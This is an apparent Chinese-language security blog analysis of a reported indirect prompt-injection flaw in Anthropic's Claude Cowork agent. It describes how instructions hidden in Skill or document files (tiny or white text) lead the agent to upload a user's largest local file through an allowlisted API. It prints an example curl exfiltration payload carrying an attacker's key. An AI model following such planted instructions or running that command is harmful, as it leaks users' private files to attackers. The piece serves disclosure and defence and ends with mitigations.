Loading... # Claude Cowork 间接提示注入文件外泄漏洞技术分析 ## 一、问题定义 Claude Cowork 是 Anthropic 发布的 AI 代理研究预览版,旨在帮助用户处理日常工作。然而,PromptArmor 安全研究团队发现该产品存在严重的安全漏洞:攻击者可以通过间接提示注入(Indirect Prompt Injection)技术,利用 Claude 代码执行环境中已知但未修复的隔离缺陷,窃取用户的本地文件。 **核心问题**:Claude 的代码执行环境虽然限制了对大多数网络域的访问,但将 Anthropic 自有 API 列入白名单,攻击者可利用这一设计缺陷,通过间接提示注入实现数据外泄。 ## 二、系统架构分析 ### 2.1 Claude Cowork 系统组件 ``` ┌─────────────────────────────────────────────────────────────────┐ │ Claude Cowork 系统架构 │ ├─────────────────────────────────────────────────────────────────┤ │ │ │ ┌─────────────┐ ┌──────────────┐ ┌─────────────────┐ │ │ │ 用户本地 │ ───> │ Claude VM │ ───> │ Anthropic API │ │ │ │ 文件系统 │ │ (沙箱环境) │ │ (白名单域) │ │ │ └─────────────┘ └──────────────┘ └─────────────────┘ │ │ ↑ │ ↑ │ │ │ ▼ │ │ │ ┌─────────────┐ ┌──────────────┐ ┌─────────────────┐ │ │ │ 用户上传 │ │ Skill/文档 │ │ 攻击者账户 │ │ │ │ 恶意文件 │ │ (注入载体) │ │ (数据接收端) │ │ │ └─────────────┘ └──────────────┘ └─────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────┘ ``` ### 2.2 关键设计缺陷 1. **API 白名单绕过**:Anthropic API 被列为可信域,可从 VM 环境自由调用 2. **Skills 机制缺乏验证**:用户上传的 Skill 文件未经过充分的内容安全检查 3. **间接提示注入防护不足**:文档内容可直接控制 Claude 的代码执行行为 ### 2.3 攻击链示意图  ## 三、漏洞原理深入分析 ### 3.1 间接提示注入技术 提示注入(Prompt Injection)是一种通过精心构造的输入来操纵 LLM 输出的攻击技术。间接提示注入则是指攻击载荷隐藏在用户上传的文件、网页内容或其他非直接输入中。 **注入技术特征**: - **载体多样性**:可嵌入在 .docx、.pdf、Markdown 等多种文件格式中 - **隐蔽性极强**:使用 1 号字体、白色文字、0.1 行距等方式隐藏注入指令 - **触发条件**:当 Claude 读取并"学习"该 Skill 时,隐藏的注入指令被执行 ### 3.2 数据外泄技术 攻击者利用以下技术组合实现数据外泄: 1. **文件上传 API 利用**: - Claude VM 允许执行 `curl` 命令 - Anthropic 文件上传 API (`https://api.anthropic.com/v1/files`) 在白名单内 - 攻击者在注入载荷中嵌入自己的 API Key 2. **代码执行 Payload 示例**: ```bash curl -X POST https://api.anthropic.com/v1/files \ -H "x-api-key: sk-ant-attacker-key-xxx" \ -H "anthropic-version: 2023-06-01" \ -F "file=@/path/to/victim/file.pdf" \ -F "purpose="assistant" ``` 3. **执行流程**: - Claude 被注入指令操控 - 扫描用户连接的本地文件夹,找出最大文件 - 使用攻击者的 API Key 上传文件 - 全程无需人工批准 ### 3.3 跨模型影响 该漏洞在不同 Claude 模型上均被验证有效: | 模型 | 注入难度 | 验证状态 | 攻击场景 | |------|----------|----------|----------| | Claude Haiku | 低 | 已确认 | 日常用户使用 Skill | | Claude Opus 4.5 | 中 | 已确认 | 开发者使用恶意集成文档 | ## 四、安全影响评估 ### 4.1 直接影响 1. **敏感数据泄露**: - 财务记录(贷款估算、房产评估) - 个人身份信息(PII、SSN) - 企业机密文档 2. **攻击持久化**: - 攻击者获取文件 ID 后可持续与该文件交互 - 可对泄露内容进行进一步分析 ### 4.2 次要威胁 1. **拒绝服务(DoS)**: - 恶意构造的畸形文件可导致 API 持续报错 - 间接注入可触发 Claude 创建并读取畸形文件 2. **攻击面扩大**: - Cowork 的 Connectors 功能(浏览器、MCP 服务器、AppleScript) - 可能发送短信、控制 Mac 等更严重的操作 ### 4.3 用户群体风险 Anthropic 在官方文档中警告用户注意"可能表示提示注入的可疑操作",但这存在严重问题: > "我认为让非程序员用户注意'可能表示提示注入的可疑操作'是不公平的!" — Simon Willison 普通用户无法识别复杂的提示注入攻击,这是典型的将安全责任推给用户的设计失误。 ## 五、修复建议 ### 5.1 短期缓解措施 | 措施 | 优先级 | 实施难度 | |------|--------|----------| | 移除 Anthropic API 出站白名单 | 高 | 低 | | 添加 Skill 文件内容安全扫描 | 高 | 中 | | 禁用 .docx 作为 Skill 载体 | 中 | 低 | | 要求所有代码执行需人工确认 | 高 | 中 | ### 5.2 长期架构改进 1. **隔离强化**: - 实现 Skills 的沙箱化执行环境 - 限制 Skills 对文件系统和网络的双重访问 2. **内容验证**: - 实现 Skills 的签名和验证机制 - 建立官方 Skills 商店,仅允许经审核的 Skills 3. **权限细分**: - 区分 Skills 的读取权限和执行权限 - 为不同类型的文件操作设置不同的权限级别 ## 六、总结 Claude Cowork 的文件外泄漏洞源于一个核心设计缺陷:在限制网络访问的同时,将 Anthropic 自有 API 列为白名单,这为间接提示注入攻击提供了可利用的通道。该漏洞在 Claude.ai 聊天功能中已被 Johann Rehberger 发现并报告给 Anthropic,但遗憾的是,在 Cowork 发布前未得到修复。 此案例凸显了 AI 代理系统安全设计的几个关键原则: 1. **最小权限原则**:即使是自有 API,也应遵循最小权限访问 2. **深度防御**:依赖单一白名单机制不足以应对复杂的攻击场景 3. **用户友好安全**:安全机制不应依赖用户识别复杂攻击的能力 对于用户而言,在 Anthropic 修复此漏洞之前,建议: - 避免将包含敏感信息的文件夹连接到 Cowork - 仅使用来自可信来源的 Skills - 定期审查 Claude 执行的命令历史 ## 参考资料 1. PromptArmor. Claude Cowork Exfiltrates Files. https://www.promptarmor.com/resources/claude-cowork-exfiltrates-files 2. Simon Willison. Comment on Cowork security implications. 3. Johann Rehberger. Initial vulnerability disclosure to Anthropic. 最后修改:2026 年 01 月 15 日 © 允许规范转载 赞 如果觉得我的文章对你有用,请随意赞赏